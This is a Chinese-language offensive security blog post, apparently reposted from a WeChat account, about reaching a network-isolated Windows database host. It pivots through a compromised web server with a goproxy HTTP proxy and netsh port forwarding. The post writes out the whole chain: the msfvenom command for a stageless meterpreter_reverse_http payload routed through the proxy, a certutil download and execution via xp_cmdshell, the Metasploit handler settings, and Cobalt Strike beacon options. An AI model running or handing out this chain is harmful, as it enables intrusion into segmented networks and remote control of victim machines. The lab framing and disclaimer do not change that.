利用goproxy http上线不出网主机

admin 2021年9月4日06:28:49评论74 views字数 2791阅读9分18秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


我们接着上篇文章“利用MSF上线断网主机的思路分享”继续来分享一篇如何使用goproxy http代理方式上线不出网主机的利用姿势,结合上篇文章阅读更佳!!!


项目地址:https://github.com/snail007/goproxy


0x01 测试环境

攻击机(Kali):192.168.56.101受害机1(Web):192.168.56.102、192.168.186.3 - 双网卡受害机2(Data):192.168.186.4 - 断网机

0x02 goproxy http代理上线MSF/CS

我们先将goproxy项目的proxy.exe工具通过中国菜刀上传至目标磁盘可读写目录中,执行以下命令在这台出网主机上开启一个8080端口的HTTP代理供后期与不出网主机进行通讯。
C:ProgramDataproxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
利用goproxy http上线不出网主机

0.0.0.0/127.0.0.1区别:

0.0.0.0:本机上的所有IPV4地址;127.0.0.1:环回地址,仅本地接口IP地址;


这一步可直接省略跳过

然后再利用系统自带的netsh命令将这台主机56出网段的HTTP代理8080端口转发至186不出网段的8888端口上,用于后期在MSF监听时设置HTTP代理。

添加端口转发netsh interface portproxy add v4tov4 listenaddress=192.168.186.3 listenport=8888 connectaddress=192.168.56.102 connectport=8080
删除端口转发netsh interface portproxy delete v4tov4 listenaddress=192.168.186.3 listenport=8888
显示所有端口转发netsh interface portproxy show all
利用goproxy http上线不出网主机

用msfvenom命令生成个meterpreter_reverse_http载荷文件,需要加上以下几个HTTP代理参数,填入186不出网段内网IP的HTTP代理:http://192.168.186.3:8080

  • HttpProxyType:代理类型(HTTP);

  • HttpProxyHost:代理地址(192.168.186.3);

  • HttpProxyPort:代理端口(8080);

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.56.101 LPORT=443 HttpProxyType=HTTP HttpProxyHost=192.168.186.3 HttpProxyPort=8080 -f exe > /tmp/stageless.exe
利用goproxy http上线不出网主机

利用中国菜刀的上传/下载功能将该文件放至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载,执行以下命令将stageless.exe下载至断网机磁盘中。

EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/stageless.exe C:ProgramDatastageless.exe'
利用goproxy http上线不出网主机

handler监听模块这里必须也要用meterpreter_reverse_http,配置好相关选项后执行监听,然后在中国菜刀中利用xp_cmdshell组件执行stageless.exe后即可成功上线。

msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_httpmsf5 exploit(multi/handler) > set lhost 192.168.56.101msf5 exploit(multi/handler) > set lport 443msf5 exploit(multi/handler) > set httpproxytype HTTPmsf5 exploit(multi/handler) > set httpproxyhost 192.168.186.3msf5 exploit(multi/handler) > set httpproxyport 8080msf5 exploit(multi/handler) > exploit
EXEC master..xp_cmdshell 'C:ProgramDatastageless.exe'
利用goproxy http上线不出网主机

流量走向如下:
192.168.186.4->192.168.186.3(192.168.56.102):8080->C2192.168.186.4->192.168.186.3:8888->192.168.56.102:8080->C2

httpproxytype、httpproxyhost、httpproxyport这几个高级参数选项在options命令中是看不到的,需要用advanced命令才可看到,如下图。

利用goproxy http上线不出网主机

如需上线至CobaltStrike则可以创建一个新的监听器,有效载荷选择为Beacon HTTP,在HTTP Proxy处填写代理地址:http://192.168.186.3:8080


将在Windows Executable(S)生成的可执行马儿文件上传/下载至192.168.186.4断网数据库服务器中执行即可成功上线。

利用goproxy http上线不出网主机


注意事项:

利用这种方式上线不出网主机时得注意下,生成MSF文件和设置监听时必须使用stageless Payload,而CS则必须要使用Windows Executable(S),否则其他马儿即使执行成功也不会上线。
stager:分阶段,第一阶段申请内存,第二阶段向C2发起请求并接受shellcode执行;windows/x64/meterpreter/reverse_http
stageless:不分阶段,生成时就包含了所有文件,可以避免shellcode传输不畅造成目标无法上线;windows/x64/meterpreter_reverse_http



关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,1120”安全参考等安全杂志PDF电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包还在等什么?赶紧点击下方名片关注学习吧!

推 荐 阅 读




利用goproxy http上线不出网主机
利用goproxy http上线不出网主机
利用goproxy http上线不出网主机

欢 迎 私 下 骚 扰



利用goproxy http上线不出网主机

本文始发于微信公众号(潇湘信安):利用goproxy http上线不出网主机

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月4日06:28:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用goproxy http上线不出网主机http://cn-sec.com/archives/452930.html

发表评论

匿名网友 填写信息